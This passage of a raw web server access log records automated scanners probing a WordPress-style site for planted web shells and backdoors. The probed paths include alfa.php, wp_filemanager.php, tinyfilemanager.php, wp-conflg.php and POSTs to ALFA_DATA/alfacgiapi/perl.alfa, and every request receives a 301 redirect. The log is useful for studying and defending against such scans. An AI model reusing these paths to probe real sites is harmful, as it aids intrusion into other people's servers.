Chrome/120.0.0.0 Safari/537.36" 116.171.106.15 - - [17/Feb/2026:21:01:16 +0300] "GET /wp-json/wp/v2/posts HTTP/1.0" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 162.62.213.165 - - [17/Feb/2026:20:37:05 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 20.215.67.86 - - [17/Feb/2026:21:48:12 +0300] "GET /lp6.php HTTP/1.1" 301 795 "-" "-" 20.215.67.86 - - [17/Feb/2026:21:48:20 +0300] "GET /e.php HTTP/1.1" 301 795 "-" "-" 20.215.67.86 - - [17/Feb/2026:21:47:59 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 20.215.67.86 - - [17/Feb/2026:21:48:32 +0300] "GET /a4.php HTTP/1.1" 301 795 "-" "-" 20.215.67.86 - - [17/Feb/2026:21:48:41 +0300] "GET /222.php HTTP/1.1" 301 795 "-" "-" 165.22.210.124 - - [17/Feb/2026:22:40:34 +0300] "GET /favicon.ico HTTP/1.1" 301 795 "http://eliteewallet.com/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 165.22.210.124 - - [17/Feb/2026:22:40:34 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 107.189.27.110 - - [17/Feb/2026:22:36:25 +0300] "GET /kickstart.php HTTP/1.1" 301 795 "-" "Python-urllib/2.7" 162.142.125.217 - - [17/Feb/2026:22:27:29 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 107.173.171.201 - - [17/Feb/2026:23:14:26 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 15_7_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/26.0 Safari/605.1.15" 4.232.88.90 - - [17/Feb/2026:23:59:27 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 20.111.62.157 - - [18/Feb/2026:00:23:26 +0300] "GET /un.php HTTP/1.1" 301 795 "-" "-" 20.111.62.157 - - [18/Feb/2026:00:24:19 +0300] "GET /wp-blog.php HTTP/1.1" 301 795 "-" "-" 20.111.62.157 - - [18/Feb/2026:00:25:34 +0300] "GET /ff1.php HTTP/1.1" 301 795 "-" "-" 20.111.62.157 - - [18/Feb/2026:00:27:16 +0300] "GET /we.php HTTP/1.1" 301 795 "-" "-" 20.111.62.157 - - [18/Feb/2026:00:27:36 +0300] "GET /trd.php HTTP/1.1" 301 795 "-" "-" 20.111.62.157 - - [18/Feb/2026:00:27:39 +0300] "GET /past.php HTTP/1.1" 301 795 "-" "-" 20.111.62.157 - - [18/Feb/2026:00:27:43 +0300] "GET /prv8.php HTTP/1.1" 301 795 "-" "-" 20.111.62.157 - - [18/Feb/2026:00:27:46 +0300] "GET /i.php HTTP/1.1" 301 795 "-" "-" 20.111.62.157 - - [18/Feb/2026:00:27:50 +0300] "GET /admin/admin.php HTTP/1.1" 301 795 "-" "-" 20.111.62.157 - - [18/Feb/2026:00:27:54 +0300] "GET /xmlrpc.php HTTP/1.1" 301 795 "-" "-" 20.111.62.157 - - [18/Feb/2026:00:27:54 +0300] "GET /aw.php HTTP/1.1" 301 795 "-" "-" 20.111.62.157 - - [18/Feb/2026:00:27:56 +0300] "GET /dev.php HTTP/1.1" 301 795 "-" "-" 20.111.62.157 - - [18/Feb/2026:00:28:00 +0300] "GET /lock360.php HTTP/1.1" 301 795 "-" "-" 20.111.62.157 - - [18/Feb/2026:00:30:33 +0300] "GET //xfile25.php HTTP/1.1" 301 795 "-" "-" 20.111.62.157 - - [18/Feb/2026:00:31:28 +0300] "GET /la.php HTTP/1.1" 301 795 "-" "-" 20.111.62.157 - - [18/Feb/2026:00:31:31 +0300] "GET /ioxi.php HTTP/1.1" 301 795 "-" "-" 20.111.62.157 - - [18/Feb/2026:00:31:31 +0300] "GET /xpwer1.php HTTP/1.1" 301 795 "-" "-" 20.111.62.157 - - [18/Feb/2026:00:31:39 +0300] "GET //lala.php HTTP/1.1" 301 795 "-" "-" 20.111.62.157 - - [18/Feb/2026:00:35:35 +0300] "GET /.well-known/admin.php HTTP/1.1" 301 795 "-" "-" 85.198.109.165 - - [18/Feb/2026:00:35:40 +0300] "GET /hello-world/ HTTP/1.0" 301 795 "http://eliteewallet.com/hello-world/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36" 20.111.62.157 - - [18/Feb/2026:00:35:56 +0300] "GET /wp-content/plugins/pwnd/as.php HTTP/1.1" 301 795 "-" "-" 20.111.62.157 - - [18/Feb/2026:00:22:25 +0300] "GET /er.php HTTP/1.1" 301 795 "-" "-" 20.111.62.157 - - [18/Feb/2026:00:22:28 +0300] "GET /fault.php HTTP/1.1" 301 795 "-" "-" 20.111.62.157 - - [18/Feb/2026:00:22:31 +0300] "GET /x2x.php HTTP/1.1" 301 795 "-" "-" 20.111.62.157 - - [18/Feb/2026:00:22:33 +0300] "GET /motu.php HTTP/1.1" 301 795 "-" "-" 20.111.62.157 - - [18/Feb/2026:00:22:35 +0300] "GET /66.php HTTP/1.1" 301 795 "-" "-" 20.111.62.157 - - [18/Feb/2026:00:22:38 +0300] "GET /leuk.php HTTP/1.1" 301 795 "-" "-" 20.111.62.157 - - [18/Feb/2026:00:22:42 +0300] "GET /bc-456.php HTTP/1.1" 301 795 "-" "-" 20.111.62.157 - - [18/Feb/2026:00:22:44 +0300] "GET /wo.php HTTP/1.1" 301 795 "-" "-" 20.111.62.157 - - [18/Feb/2026:00:23:47 +0300] "GET /nnyvn.php HTTP/1.1" 301 795 "-" "-" 20.111.62.157 - - [18/Feb/2026:00:23:51 +0300] "GET /cu.php HTTP/1.1" 301 795 "-" "-" 20.111.62.157 - - [18/Feb/2026:00:23:55 +0300] "GET /lul.php HTTP/1.1" 301 795 "-" "-" 20.111.62.157 - - [18/Feb/2026:00:23:58 +0300] "GET /0.php HTTP/1.1" 301 795 "-" "-" 20.111.62.157 - - [18/Feb/2026:00:24:07 +0300] "GET /ms-edit.php HTTP/1.1" 301 795 "-" "-" 20.111.62.157 - - [18/Feb/2026:00:24:10 +0300] "GET /ya.php HTTP/1.1" 301 795 "-" "-" 20.111.62.157 - - [18/Feb/2026:00:25:41 +0300] "GET /forbidals.php HTTP/1.1" 301 795 "-" "-" 20.111.62.157 - - [18/Feb/2026:00:26:56 +0300] "GET /vxrl.php HTTP/1.1" 301 795 "-" "-" 20.111.62.157 - - [18/Feb/2026:00:26:56 +0300] "GET /in.php HTTP/1.1" 301 795 "-" "-" 20.111.62.157 - - [18/Feb/2026:00:27:31 +0300] "GET /karak.php HTTP/1.1" 301 795 "-" "-" 20.111.62.157 - - [18/Feb/2026:00:28:04 +0300] "GET /155.php HTTP/1.1" 301 795 "-" "-" 20.111.62.157 - - [18/Feb/2026:00:28:07 +0300] "GET /goat.php HTTP/1.1" 301 795 "-" "-" 20.111.62.157 - - [18/Feb/2026:00:28:10 +0300] "GET /tcp.php HTTP/1.1" 301 795 "-" "-" 20.111.62.157 - - [18/Feb/2026:00:28:14 +0300] "GET /ext.php HTTP/1.1" 301 795 "-" "-" 68.221.64.54 - - [18/Feb/2026:00:28:27 +0300] "GET /6ee8b4/index.php HTTP/1.1" 301 795 "-" "-" 20.111.62.157 - - [18/Feb/2026:00:28:34 +0300] "GET /ov.php HTTP/1.1" 301 795 "-" "-" 20.111.62.157 - - [18/Feb/2026:00:28:37 +0300] "GET /past1.php HTTP/1.1" 301 795 "-" "-" 20.111.62.157 - - [18/Feb/2026:00:28:42 +0300] "GET /wp-content/plugins/index.php HTTP/1.1" 301 795 "-" "-" 20.111.62.157 - - [18/Feb/2026:00:28:42 +0300] "GET /default.php HTTP/1.1" 301 795 "-" "-" 68.221.64.54 - - [18/Feb/2026:00:29:04 +0300] "GET /jok3r.php HTTP/1.1" 301 795 "-" "-" 20.111.62.157 - - [18/Feb/2026:00:29:24 +0300] "GET /manager.php HTTP/1.1" 301 795 "-" "-" 20.111.62.157 - - [18/Feb/2026:00:29:27 +0300] "GET /wp-update.php HTTP/1.1" 301 795 "-" "-" 20.111.62.157 - - [18/Feb/2026:00:29:29 +0300] "GET /file.php? HTTP/1.1" 301 795 "-" "-" 20.111.62.157 - - [18/Feb/2026:00:29:31 +0300] "GET /wp-includes/certificates/plugins.php HTTP/1.1" 301 795 "-" "-" 68.221.64.54 - - [18/Feb/2026:00:30:03 +0300] "GET /grsiuk.php HTTP/1.1" 301 795 "-" "-" 68.221.64.54 - - [18/Feb/2026:00:30:04 +0300] "GET /byp8.php HTTP/1.1" 301 795 "-" "-" 68.221.64.54 - - [18/Feb/2026:00:30:13 +0300] "GET /jvfsi.php HTTP/1.1" 301 795 "-" "-" 20.111.62.157 - - [18/Feb/2026:00:32:05 +0300] "GET //cgi-bin/index.php HTTP/1.1" 301 795 "-" "-" 20.111.62.157 - - [18/Feb/2026:00:32:05 +0300] "GET //wp-admin/images/wp-conflg.php HTTP/1.1" 301 795 "-" "-" 20.111.62.157 - - [18/Feb/2026:00:32:56 +0300] "GET //edit.php HTTP/1.1" 301 795 "-" "-" 20.111.62.157 - - [18/Feb/2026:00:33:30 +0300] "GET /jane.php HTTP/1.1" 301 795 "-" "-" 20.111.62.157 - - [18/Feb/2026:00:33:32 +0300] "GET /css.php HTTP/1.1" 301 795 "-" "-" 20.111.62.157 - - [18/Feb/2026:00:33:36 +0300] "GET /alfa.php HTTP/1.1" 301 795 "-" "-" 20.111.62.157 - - [18/Feb/2026:00:33:39 +0300] "GET /wen.php HTTP/1.1" 301 795 "-" "-" 20.111.62.157 - - [18/Feb/2026:00:33:43 +0300] "GET /x.php HTTP/1.1" 301 795 "-" "-" 20.111.62.157 - - [18/Feb/2026:00:34:01 +0300] "GET /f35.php HTTP/1.1" 301 795 "-" "-" 20.111.62.157 - - [18/Feb/2026:00:34:09 +0300] "GET /wp-admin/about.php HTTP/1.1" 301 795 "-" "-" 20.111.62.157 - - [18/Feb/2026:00:22:20 +0300] "GET /xoot.php HTTP/1.1" 301 795 "-" "-" 20.111.62.157 - - [18/Feb/2026:00:24:23 +0300] "GET /ftem.php HTTP/1.1" 301 795 "-" "-" 20.111.62.157 - - [18/Feb/2026:00:24:57 +0300] "GET /wp-the.php HTTP/1.1" 301 795 "-" "-" 20.111.62.157 - - [18/Feb/2026:00:25:46 +0300] "GET //erty.php HTTP/1.1" 301 795 "-" "-" 20.111.62.157 - - [18/Feb/2026:00:25:52 +0300] "GET /dev1s.php HTTP/1.1" 301 795 "-" "-" 20.111.62.157 - - [18/Feb/2026:00:25:56 +0300] "GET /ffd.php HTTP/1.1" 301 795 "-" "-" 20.111.62.157 - - [18/Feb/2026:00:26:39 +0300] "GET /re.php HTTP/1.1" 301 795 "-" "-" 20.111.62.157 - - [18/Feb/2026:00:27:05 +0300] "GET /style.php HTTP/1.1" 301 795 "-" "-" 20.111.62.157 - - [18/Feb/2026:00:29:38 +0300] "GET /lc.php HTTP/1.1" 301 795 "-" "-" 20.111.62.157 - - [18/Feb/2026:00:29:40 +0300] "GET /hexx.php HTTP/1.1" 301 795 "-" "-" 68.221.64.54 - - [18/Feb/2026:00:30:24 +0300] "GET /vjkzu.php HTTP/1.1" 301 795 "-" "-" 68.221.64.54 - - [18/Feb/2026:00:30:26 +0300] "GET /8nyu1r.php HTTP/1.1" 301 795 "-" "-" 68.221.64.54 - - [18/Feb/2026:00:30:30 +0300] "GET /etmvr.php HTTP/1.1" 301 795 "-" "-" 68.221.64.54 - - [18/Feb/2026:00:30:37 +0300] "GET /fs6.php HTTP/1.1" 301 795 "-" "-" 68.221.64.54 - - [18/Feb/2026:00:30:48 +0300] "GET /njrzp.php HTTP/1.1" 301 795 "-" "-" 20.111.62.157 - - [18/Feb/2026:00:30:55 +0300] "GET /styll.php HTTP/1.1" 301 795 "-" "-" 20.111.62.157 - - [18/Feb/2026:00:30:58 +0300] "GET /x7.php HTTP/1.1" 301 795 "-" "-" 20.111.62.157 - - [18/Feb/2026:00:31:00 +0300] "GET /thebe.php HTTP/1.1" 301 795 "-" "-" 20.111.62.157 - - [18/Feb/2026:00:31:09 +0300] "GET /ddd.php HTTP/1.1" 301 795 "-" "-" 20.111.62.157 - - [18/Feb/2026:00:33:25 +0300] "GET /wsd.php HTTP/1.1" 301 795 "-" "-" 20.111.62.157 - - [18/Feb/2026:00:35:14 +0300] "GET /wp-content/admin.php HTTP/1.1" 301 795 "-" "-" 20.111.62.157 - - [18/Feb/2026:00:35:19 +0300] "GET /wp-admin/setup-config.php HTTP/1.1" 301 795 "-" "-" 20.111.62.157 - - [18/Feb/2026:00:35:19 +0300] "GET /wp-includes/ID3/about.php?p= HTTP/1.1" 301 795 "-" "-" 20.111.62.157 - - [18/Feb/2026:00:22:52 +0300] "GET /bvb.php HTTP/1.1" 301 795 "-" "-" 20.111.62.157 - - [18/Feb/2026:00:23:08 +0300] "GET /nw.php HTTP/1.1" 301 795 "-" "-" 20.111.62.157 - - [18/Feb/2026:00:23:12 +0300] "GET /god.php HTTP/1.1" 301 795 "-" "-" 20.111.62.157 - - [18/Feb/2026:00:23:15 +0300] "GET /666.php HTTP/1.1" 301 795 "-" "-" 20.111.62.157 - - [18/Feb/2026:00:25:19 +0300] "GET /wp5.php HTTP/1.1" 301 795 "-" "-" 20.111.62.157 - - [18/Feb/2026:00:25:25 +0300] "GET /fot.php HTTP/1.1" 301 795 "-" "-" 20.111.62.157 - - [18/Feb/2026:00:26:21 +0300] "GET /Sanskrit.php HTTP/1.1" 301 795 "-" "-" 20.111.62.157 - - [18/Feb/2026:00:28:24 +0300] "GET /ioxi.php HTTP/1.1" 301 795 "-" "-" 20.111.62.157 - - [18/Feb/2026:00:28:29 +0300] "GET /fe5.php HTTP/1.1" 301 795 "-" "-" 68.221.64.54 - - [18/Feb/2026:00:28:33 +0300] "GET /gi.php HTTP/1.1" 301 795 "-" "-" 20.111.62.157 - - [18/Feb/2026:00:28:53 +0300] "GET /abcd.php HTTP/1.1" 301 795 "-" "-" 20.111.62.157 - - [18/Feb/2026:00:28:56 +0300] "GET /yos.php HTTP/1.1" 301 795 "-" "-" 20.111.62.157 - - [18/Feb/2026:00:28:58 +0300] "GET /nope.php HTTP/1.1" 301 795 "-" "-" 20.111.62.157 - - [18/Feb/2026:00:30:16 +0300] "GET /miansha.php HTTP/1.1" 301 795 "-" "-" 68.221.64.54 - - [18/Feb/2026:00:30:57 +0300] "GET /rcoti.php HTTP/1.1" 301 795 "-" "-" 20.111.62.157 - - [18/Feb/2026:00:31:22 +0300] "GET /8xyz.php HTTP/1.1" 301 795 "-" "-" 20.111.62.157 - - [18/Feb/2026:00:33:14 +0300] "GET //wp-includes/js/dist/ HTTP/1.1" 301 795 "-" "-" 20.111.62.157 - - [18/Feb/2026:00:33:14 +0300] "GET /wp-includes/SimplePie/ HTTP/1.1" 301 795 "-" "-" 20.111.62.157 - - [18/Feb/2026:00:33:14 +0300] "GET //av.php HTTP/1.1" 301 795 "-" "-" 20.111.62.157 - - [18/Feb/2026:00:34:55 +0300] "GET /.well-known/gecko-litespeed.php HTTP/1.1" 301 795 "-" "-" 20.111.62.157 - - [18/Feb/2026:00:35:51 +0300] "GET /init.php HTTP/1.1" 301 795 "-" "-" 20.111.62.157 - - [18/Feb/2026:00:35:59 +0300] "GET /k.php HTTP/1.1" 301 795 "-" "-" 20.111.62.157 - - [18/Feb/2026:00:22:59 +0300] "GET /xqq.php HTTP/1.1" 301 795 "-" "-" 20.111.62.157 - - [18/Feb/2026:00:23:03 +0300] "GET /kolda.php HTTP/1.1" 301 795 "-" "-" 20.111.62.157 - - [18/Feb/2026:00:23:19 +0300] "GET /kj.php HTTP/1.1" 301 795 "-" "-" 20.111.62.157 - - [18/Feb/2026:00:24:48 +0300] "GET /sbhu.php HTTP/1.1" 301 795 "-" "-" 20.111.62.157 - - [18/Feb/2026:00:26:01 +0300] "GET /admiin.php HTTP/1.1" 301 795 "-" "-" 20.111.62.157 - - [18/Feb/2026:00:26:13 +0300] "GET /ol.php HTTP/1.1" 301 795 "-" "-" 68.221.64.54 - - [18/Feb/2026:00:27:53 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 68.221.64.54 - - [18/Feb/2026:00:29:52 +0300] "GET /pass.php HTTP/1.1" 301 795 "-" "-" 20.111.62.157 - - [18/Feb/2026:00:29:53 +0300] "GET /cbrfo.php HTTP/1.1" 301 795 "-" "-" 68.221.64.54 - - [18/Feb/2026:00:29:55 +0300] "GET /clnfnjna.php HTTP/1.1" 301 795 "-" "-" 20.111.62.157 - - [18/Feb/2026:00:30:08 +0300] "GET /gifclass.php HTTP/1.1" 301 795 "-" "-" 20.111.62.157 - - [18/Feb/2026:00:31:57 +0300] "GET /wp-admin/images/commentv.php HTTP/1.1" 301 795 "-" "-" 20.111.62.157 - - [18/Feb/2026:00:32:12 +0300] "GET /wp-admin/images/wp-conflg.php HTTP/1.1" 301 795 "-" "-" 20.111.62.157 - - [18/Feb/2026:00:32:12 +0300] "GET /info.php HTTP/1.1" 301 795 "-" "-" 20.111.62.157 - - [18/Feb/2026:00:32:16 +0300] "GET /about.php HTTP/1.1" 301 795 "-" "-" 20.111.62.157 - - [18/Feb/2026:00:32:16 +0300] "GET /x/ HTTP/1.1" 301 795 "-" "-" 20.111.62.157 - - [18/Feb/2026:00:32:21 +0300] "GET /222.php HTTP/1.1" 301 795 "-" "-" 20.111.62.157 - - [18/Feb/2026:00:32:24 +0300] "GET //adminfuns.php HTTP/1.1" 301 795 "-" "-" 20.111.62.157 - - [18/Feb/2026:00:33:06 +0300] "GET //aa.php HTTP/1.1" 301 795 "-" "-" 20.111.62.157 - - [18/Feb/2026:00:33:21 +0300] "GET /wp-includes/Text/Diff/Engine/about.php HTTP/1.1" 301 795 "-" "-" 20.111.62.157 - - [18/Feb/2026:00:34:23 +0300] "GET /update/f35.php HTTP/1.1" 301 795 "-" "-" 20.111.62.157 - - [18/Feb/2026:00:34:28 +0300] "GET /wp-content/themes/about.php HTTP/1.1" 301 795 "-" "-" 20.111.62.157 - - [18/Feb/2026:00:34:48 +0300] "GET /blurbs18.php HTTP/1.1" 301 795 "-" "-" 20.111.62.157 - - [18/Feb/2026:00:22:13 +0300] "GET /new4.php HTTP/1.1" 301 795 "-" "-" 20.111.62.157 - - [18/Feb/2026:00:23:31 +0300] "GET /fs.php HTTP/1.1" 301 795 "-" "-" 20.111.62.157 - - [18/Feb/2026:00:23:35 +0300] "GET /lts.php HTTP/1.1" 301 795 "-" "-" 20.111.62.157 - - [18/Feb/2026:00:23:38 +0300] "GET /ms.php HTTP/1.1" 301 795 "-" "-" 20.111.62.157 - - [18/Feb/2026:00:23:40 +0300] "GET /login8.php HTTP/1.1" 301 795 "-" "-" 20.111.62.157 - - [18/Feb/2026:00:24:28 +0300] "GET /7wom.php HTTP/1.1" 301 795 "-" "-" 20.111.62.157 - - [18/Feb/2026:00:24:31 +0300] "GET /wp-access.php HTTP/1.1" 301 795 "-" "-" 20.111.62.157 - - [18/Feb/2026:00:24:41 +0300] "GET /a1vx.php HTTP/1.1" 301 795 "-" "-" 68.221.64.54 - - [18/Feb/2026:00:28:05 +0300] "GET /handlike.ph HTTP/1.1" 301 795 "-" "-" 20.111.62.157 - - [18/Feb/2026:00:28:48 +0300] "GET /goods.php HTTP/1.1" 301 795 "-" "-" 20.111.62.157 - - [18/Feb/2026:00:29:05 +0300] "GET /class.1.php HTTP/1.1" 301 795 "-" "-" 20.111.62.157 - - [18/Feb/2026:00:29:08 +0300] "GET /file5.php HTTP/1.1" 301 795 "-" "-" 20.111.62.157 - - [18/Feb/2026:00:29:11 +0300] "GET /async.php HTTP/1.1" 301 795 "-" "-" 20.111.62.157 - - [18/Feb/2026:00:29:15 +0300] "GET /ff.php HTTP/1.1" 301 795 "-" "-" 20.111.62.157 - - [18/Feb/2026:00:29:18 +0300] "GET /ioxi-o.php HTTP/1.1" 301 795 "-" "-" 20.111.62.157 - - [18/Feb/2026:00:30:04 +0300] "GET /inc.php HTTP/1.1" 301 795 "-" "-" 68.221.64.54 - - [18/Feb/2026:00:30:18 +0300] "GET /diyxm.php HTTP/1.1" 301 795 "-" "-" 20.111.62.157 - - [18/Feb/2026:00:30:21 +0300] "GET /tinyfilemanager.php HTTP/1.1" 301 795 "-" "-" 68.221.64.54 - - [18/Feb/2026:00:31:07 +0300] "GET /www.php HTTP/1.1" 301 795 "-" "-" 68.221.64.54 - - [18/Feb/2026:00:31:13 +0300] "GET /992.php HTTP/1.1" 301 795 "-" "-" 20.111.62.157 - - [18/Feb/2026:00:31:15 +0300] "GET /ccs.php HTTP/1.1" 301 795 "-" "-" 20.111.62.157 - - [18/Feb/2026:00:31:17 +0300] "GET /bgymj.php HTTP/1.1" 301 795 "-" "-" 20.111.62.157 - - [18/Feb/2026:00:22:06 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 20.111.62.157 - - [18/Feb/2026:00:26:32 +0300] "GET /vxrl.php HTTP/1.1" 301 795 "-" "-" 20.111.62.157 - - [18/Feb/2026:00:26:46 +0300] "GET /num.php HTTP/1.1" 301 795 "-" "-" 20.111.62.157 - - [18/Feb/2026:00:26:48 +0300] "GET /axx.php HTTP/1.1" 301 795 "-" "-" 68.221.64.54 - - [18/Feb/2026:00:28:10 +0300] "GET /C1.php HTTP/1.1" 301 795 "-" "-" 68.221.64.54 - - [18/Feb/2026:00:28:12 +0300] "GET /ava.php HTTP/1.1" 301 795 "-" "-" 68.221.64.54 - - [18/Feb/2026:00:28:16 +0300] "GET /priv.php HTTP/1.1" 301 795 "-" "-" 20.111.62.157 - - [18/Feb/2026:00:28:18 +0300] "GET /inputs.php HTTP/1.1" 301 795 "-" "-" 68.221.64.54 - - [18/Feb/2026:00:28:19 +0300] "GET /Okxob.php HTTP/1.1" 301 795 "-" "-" 20.111.62.157 - - [18/Feb/2026:00:30:41 +0300] "GET /ok.php HTTP/1.1" 301 795 "-" "-" 20.111.62.157 - - [18/Feb/2026:00:30:44 +0300] "GET /fi.php HTTP/1.1" 301 795 "-" "-" 20.111.62.157 - - [18/Feb/2026:00:30:47 +0300] "GET /muzu.php HTTP/1.1" 301 795 "-" "-" 20.111.62.157 - - [18/Feb/2026:00:30:49 +0300] "GET /reze.php HTTP/1.1" 301 795 "-" "-" 20.111.62.157 - - [18/Feb/2026:00:31:52 +0300] "GET //about.php HTTP/1.1" 301 795 "-" "-" 20.111.62.157 - - [18/Feb/2026:00:33:47 +0300] "GET /xxxx.php HTTP/1.1" 301 795 "-" "-" 20.111.62.157 - - [18/Feb/2026:00:33:54 +0300] "GET //class.php HTTP/1.1" 301 795 "-" "-" 20.111.62.157 - - [18/Feb/2026:00:34:34 +0300] "GET /class-t.api.php HTTP/1.1" 301 795 "-" "-" 20.111.62.157 - - [18/Feb/2026:00:35:07 +0300] "GET /wp-admin/maint/about.php HTTP/1.1" 301 795 "-" "-" 20.111.62.157 - - [18/Feb/2026:00:35:46 +0300] "GET /bless11.php HTTP/1.1" 301 795 "-" "-" 20.111.62.157 - - [18/Feb/2026:00:24:14 +0300] "GET /grsiuk.php HTTP/1.1" 301 795 "-" "-" 20.111.62.157 - - [18/Feb/2026:00:25:08 +0300] "GET /06.php HTTP/1.1" 301 795 "-" "-" 20.111.62.157 - - [18/Feb/2026:00:27:23 +0300] "GET /zwso.php HTTP/1.1" 301 795 "-" "-" 68.221.64.54 - - [18/Feb/2026:00:29:43 +0300] "GET /snus.php HTTP/1.1" 301 795 "-" "-" 68.221.64.54 - - [18/Feb/2026:00:29:47 +0300] "GET /shlo.php HTTP/1.1" 301 795 "-" "-" 68.221.64.54 - - [18/Feb/2026:00:31:32 +0300] "GET /wp-content/plugins/twenty/login.php HTTP/1.1" 301 795 "-" "-" 68.221.64.54 - - [18/Feb/2026:00:31:34 +0300] "GET /tmpls.php HTTP/1.1" 301 795 "-" "-" 20.111.62.157 - - [18/Feb/2026:00:32:35 +0300] "GET /wp-includes/PHPMailer/ HTTP/1.1" 301 795 "-" "-" 20.111.62.157 - - [18/Feb/2026:00:32:35 +0300] "GET /xx.php HTTP/1.1" 301 795 "-" "-" 20.111.62.157 - - [18/Feb/2026:00:32:41 +0300] "GET /wp-admin/js/wp-conflg.php HTTP/1.1" 301 795 "-" "-" 20.111.62.157 - - [18/Feb/2026:00:32:45 +0300] "GET /f5.php HTTP/1.1" 301 795 "-" "-" 20.111.62.157 - - [18/Feb/2026:00:32:48 +0300] "GET /flower.php HTTP/1.1" 301 795 "-" "-" 20.111.62.157 - - [18/Feb/2026:00:32:51 +0300] "GET //f6.php HTTP/1.1" 301 795 "-" "-" 20.111.62.157 - - [18/Feb/2026:00:36:04 +0300] "GET /bless.php HTTP/1.1" 301 795 "-" "-" 43.153.49.151 - - [18/Feb/2026:02:00:00 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 141.138.213.100 - - [18/Feb/2026:02:28:55 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:109.0) Gecko/20100101 Firefox/115" 20.111.62.157 - - [18/Feb/2026:00:36:12 +0300] "GET /X7x.php HTTP/1.1" 301 795 "-" "-" 20.111.62.157 - - [18/Feb/2026:00:36:44 +0300] "GET /admins.php HTTP/1.1" 301 795 "-" "-" 20.111.62.157 - - [18/Feb/2026:00:36:47 +0300] "GET /wp.php HTTP/1.1" 301 795 "-" "-" 20.111.62.157 - - [18/Feb/2026:00:36:50 +0300] "GET /main.php HTTP/1.1" 301 795 "-" "-" 20.111.62.157 - - [18/Feb/2026:00:36:52 +0300] "GET /a1.php HTTP/1.1" 301 795 "-" "-" 20.111.62.157 - - [18/Feb/2026:00:36:54 +0300] "GET /lala.php HTTP/1.1" 301 795 "-" "-" 20.111.62.157 - - [18/Feb/2026:00:36:55 +0300] "GET /aaa.php HTTP/1.1" 301 795 "-" "-" 20.111.62.157 - - [18/Feb/2026:00:36:58 +0300] "GET /a2.php HTTP/1.1" 301 795 "-" "-" 20.111.62.157 - - [18/Feb/2026:00:37:01 +0300] "GET /wp-includes/assets/index.php HTTP/1.1" 301 795 "-" "-" 20.111.62.157 - - [18/Feb/2026:00:37:03 +0300] "GET /admin/function.php HTTP/1.1" 301 795 "-" "-" 43.156.202.34 - - [18/Feb/2026:02:55:40 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 20.111.62.157 - - [18/Feb/2026:00:36:18 +0300] "GET /166.php HTTP/1.1" 301 795 "-" "-" 20.111.62.157 - - [18/Feb/2026:00:36:32 +0300] "GET /wp-admin/user/about.php HTTP/1.1" 301 795 "-" "-" 167.94.138.62 - - [18/Feb/2026:01:15:44 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 20.111.62.157 - - [18/Feb/2026:00:36:23 +0300] "GET /plss3.php HTTP/1.1" 301 795 "-" "-" 20.111.62.157 - - [18/Feb/2026:00:37:07 +0300] "GET /nyan.php HTTP/1.1" 301 795 "-" "-" 20.111.62.157 - - [18/Feb/2026:00:37:09 +0300] "GET /jsond.php HTTP/1.1" 301 795 "-" "-" 20.111.62.157 - - [18/Feb/2026:02:42:31 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 20.65.61.3 - - [18/Feb/2026:03:21:27 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 20.65.61.3 - - [18/Feb/2026:03:21:27 +0300] "POST /ALFA_DATA/alfacgiapi/perl.alfa HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 20.65.61.3 - - [18/Feb/2026:03:21:27 +0300] "POST /wp-plain.php HTTP/1.1" 301 795 "www.google.com" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 20.65.61.3 - - [18/Feb/2026:03:21:40 +0300] "POST /alfacgiapi/perl.alfa HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 20.65.61.3 - - 